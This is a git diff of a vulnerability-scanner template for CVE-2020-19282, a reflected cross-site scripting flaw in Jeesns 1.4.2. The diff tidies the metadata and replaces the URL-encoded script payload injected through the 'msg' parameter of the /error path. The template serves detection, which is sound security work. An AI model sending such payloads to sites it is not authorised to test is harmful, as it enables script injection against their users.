diff --git a/cves/2020/CVE-2020-19282.yaml b/cves/2020/CVE-2020-19282.yaml index 5feb200bef..eaec870c63 100644 --- a/cves/2020/CVE-2020-19282.yaml +++ b/cves/2020/CVE-2020-19282.yaml @@ -1,28 +1,26 @@ id: CVE-2020-19282 info: - name: Jeesns 1.4.2 XSS + name: Jeesns 1.4.2 XSS author: pikpikcu severity: medium - description: reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field. + description: Reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field. reference: - https://github.com/zchuanzhao/jeesns/issues/11 - https://nvd.nist.gov/vuln/detail/CVE-2020-19282 - tags: cves,cve2020,jeesns,xss + tags: cve,cve2020,jeesns,xss requests: - method: GET path: - - "{{BaseURL}}/error?msg=%3CScript%3Eprompt(document.domain)%3C/Script%3E" - headers: - Content-Type: application/x-www-form-urlencoded + - "{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word words: - - '' part: body - type: status @@ -30,6 +28,6 @@ requests: - 200 - type: word - words: - - 'Content-Type: text/html' part: header + words: + - text/html